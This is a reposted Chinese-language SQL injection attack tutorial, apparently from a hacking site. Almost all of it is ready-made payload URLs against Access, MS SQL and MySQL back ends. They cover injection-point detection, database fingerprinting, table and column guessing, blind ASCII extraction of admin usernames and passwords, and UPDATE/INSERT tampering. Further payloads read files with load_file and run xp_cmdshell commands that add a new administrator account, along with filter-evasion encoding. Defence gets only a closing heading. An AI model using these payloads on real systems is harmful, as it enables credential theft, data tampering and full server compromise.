1. 程式人生 > >sql 注入及爆表與欄位

sql 注入及爆表與欄位


http://www.cchacker.com/main
轉載請保留來源與版權資訊,尊重作者勞動。



一、SQL 指令碼注入攻擊前奏

注入點的尋找、區分、與判斷

手工尋找檢測注入點

http://www.target.com/article.asp?id=1ASP 注入
http://www.target.com/article.php?id=1 PHP 注入

1)“加引號”法
http://www.target.com/article.asp?id=1'
http://www.target.com/article.php?id=1'
提交如上資料,在返回資訊中,有詳細的資料庫 SQL 語句操作執行錯誤資訊,並出現類似的提示資訊的話,則往往表明存在 SQL 注入漏洞
。(對於字元型資料,單引號新增可以靈活些,例如把單引號加入字串中來測試。)

2)經典“1=1和1=2)法
http://www.target.com/article.asp?id=1 and 1=1
http://www.target.com/article.asp?id=1 and 1=2
提交“1=1”返回頁面一般應該執行正常,與原頁面執行顯示相同,而提交“1=2”則頁面執行異常,滿足上面的顯示,則說明當前頁面中存在 SQL 注入漏洞,反之則可能不能注入,此方法對 PHP 站點同樣適用。

工具掃描 ASP 存在的 SQL 注入點
1)WIS 掃描法 2)明小子旁註工具 3)使用 NBSI 掃描

區分 SQL 注入點的型別

1)數字型注入點
http://www.target.com/article.asp?id=1
and 查詢條件

2)字元型注入點
http://www.target.com/article.asp?class=日期 and 查詢條件

3)搜尋型注入點
keyword='and 查詢條件 and '%'='

判斷目標資料庫型別

過分體貼的錯誤資訊
Microsoft JET Database Engine 錯誤 '80040e14' Access 資料庫
Microsoft OLE DB Provider for SQL Server 錯誤 '80040e14' SQL Server 資料庫)
Microsoft OLE DB Provider for ODBC Drivers 錯誤 '80040e14' 暫不能確定資料庫型別

報出資料庫型別

1)內建變數報出資料庫型別
http://www.target.com/article.asp?id=1
and user>0
從執行返回資訊可以清晰看見“SQL Servet”或“Access”這些字眼來判斷。

2)內建資料表報出資料庫型別
在注入點後提交如下語句
http://www.target.com/article.asp?id=1 and (select count(*) from sysobjects)>0
http://www.target.com/article.asp?id=1 and (select count(*) from msysobiects)>0
如果資料庫是 SQL Sever ,那麼第一個語句的頁面與原頁面大致相同,而的二個網址,由於找不到表“msysobjects”,會提示出錯,就算程式有容錯處理,不會返回錯誤資訊,但是頁面也與原頁面完全不同。
如果是 Access 資料庫,那麼情況就有所不同:提交第一個語句返回頁面與原頁面完全不同,會提示錯誤資訊,因為 Access 中不存在“sysobjects”表,因此會提示“找不到輸入表或查詢'sysobjects'”。在提交第二個語句,一般在 Access 中是不允許讀取該表的,所以與原網址也是完全不同的

3)自動化的注入工具進行判斷 略



二、注入 Access 資料庫

猜解表名及欄位名

http://www.target.com/article.asp?id=1 and exists (select * from admin) 猜解表名
http://www.target.com/article.asp?id=1 and (select count(username) from admin)>=0 猜解 admin 表中的 username 欄位名

猜解表名及欄位名完全是靠經驗與運氣進行猜測的,而具體的使用者名和密碼只要按照規律就一定能猜解成功,具體常見表名及欄位名可以到網路上檢視。

ASCII 逐字解碼法猜解欄位值

http://www.target.com/article.asp?id=1 and (select top 1 len(username) from admin)>0 猜解“username”欄位第一條記錄的長度
http://www.target.com/article.asp?id=1 and (select top 1 asc(mid(username,1,1)) from admin)>0 用二分法來猜解“username”欄位第一條記錄的第一位字元對應的 ASCII 碼
http://www.target.com/article.asp?id=1 and (select top 1 asc(mid(username,2,1)) from admin)>0 用二分法來猜解“username”欄位第一條記錄的第二位字元對應的 ASCII 碼

自動化工具協助

1)WIS+WED 2)NBSI 3)MD5Crack



三、為 MS SQL 帶來災難的高階查詢

報出 MS SQL 當前表名和欄位名

http://www.target.com/article.asp?id=1 having 1=1-- 報出當前表名和一個欄位名
http://www.target.com/article.asp?id=1 group by 第一個欄位名 having 1=1-- 報出當前表名的第二個欄位名
http://www.target.com/article.asp?id=1 group by 第一個欄位名,第二個欄位名 having 1=1-- 報出當前表的另一個欄位名
http://www.target.com/article.asp?id=1 group by 第一個欄位名,第二個欄位名,第三個欄位名 having 1=1-- 報出當前表的其他欄位名

獲取資料庫中指定資訊

http://www.target.com/article.asp?id=1 and (select top 1 欄位名 from 表名)>1
http://www.target.com/article.asp?id=1 and (select top 1 欄位名 from 表名 where id=N)>1

修改資料庫插入資料

http://www.target.com/article.asp?id=1 ;update 表名 set 欄位名='更改的內容' where id='1' 根據獲得的表名及欄位名更改資料
http://www.target.com/article.asp?id=1 ;insert into 表名 values ('內容','內容','內容')-- 插入一條新的資料記錄

報出任意表名和欄位名

http://www.target.com/article.asp?id=1 and (select top 1 name from(select top [N] id,name from sysobjects where xtype=char(85)) T order by id desc)>1 報出第N個表名
http://www.target.com/article.asp?id=1 and (select top 1 col_name(object_id([表名]),[N]) from sysobjects)>1 報出某個表中第N個欄位名



四、擴充套件儲存過程的利用

判斷當前資料庫連線使用者許可權

http://www.target.com/article.asp?id=1 and user>0
若當前連線資料庫的使用者名稱為“dbo”,該使用者名稱預設為 SA 許可權,如果是其他自定義使用者名稱,則表明該使用者許可權為“public”。

獲取當前連線的資料庫名

http://www.target.com/article.asp?id=1 and db_name()>0 獲取當前連線的資料庫名

利用擴充套件儲存過程執行任意命令

http://www.target.com/article.asp?id=1 ;exec master..xp_cmdshell "net user crackkey password /add" 在系統中新增使用者名稱和密碼分別為“crackkey”、“password”的帳號
http://www.target.com/article.asp?id=1 ;exec master..xp_cmdshell "net localgroup administrators crackkey /add" 將帳號“crackkey”的使用者許可權提升為管理



五、構造 PHP 注入攻擊

手工 PHP 注入

通過 union 或 order by 確定當前資料庫的欄位數目

http://www.target.com/article.php?id=1 union select 1,2,3,4,5,6,N
http://www.target.com/article.php?id=1 order by N 確定當前資料庫欄位數目為N個

猜解當前資料庫表名

http://www.target.com/article.php?id=1 union select 1,2,3,4,5,6,N from admin 猜解出存在[admin]表

報出資料庫資料

http://www.target.com/article.php?id=1 union select 1,username,3,password,4,5,6,N from admin 猜解出[admin]表裡欄位的資料

報出表中欄位的其他資訊

http://www.target.com/article.php?id=1 union select 1,username,3,password,4,5,6,N from admin where id=N 報出該欄位第N條記錄

判斷當前資料庫是否為 root 許可權

http://www.target.com/article.php?id=1 and ord(mid(user(),1,1))114/*

判斷是否具有檔案讀寫許可權

http://www.target.com/article.php?id=1 and (select count(*) from mysql.user)>0

報出資料庫系統資訊

http://www.target.com/article.php?id=1 and select 1,user(),3,version(),5,session_user(),7,database(),8,current_user()



讀取檔案

十六進位制方式

http://www.target.com/article.php?id=1 union select 1,load_file(Ox633A2F626F6F742E696E69),3,4,5,6 讀取c:\boot.ini檔案

ASCII碼方式

http://www.target.com/article.php?id=1 union select 1,load_file(讀取檔案的路徑的ASCII碼),3,4,5,6 讀取檔案




六、深入 SQL 注入探究

缺失單引號與空格的注入

@a sysname select @a=要執行的命令十六進位制程式碼 exec master.dbo.xp_cmdshell @a
上面利用 declare 與 OX6e 編碼進行繞過過濾,如果使用 declare 語句變形注入程式碼依然受到過濾限制,此時就要考慮二次編碼轉換了,這裡推薦 SQLInjectEncode 這個二次編碼合成工具。
應對空格的過濾,可以用 /**/ 替換空格進行注入攻擊。

Update 注入與差異備份
char 字元轉換與單引號突破
資料提交與隱式注入 略

SQL 注入防範

利用 SQL 通用防注入程式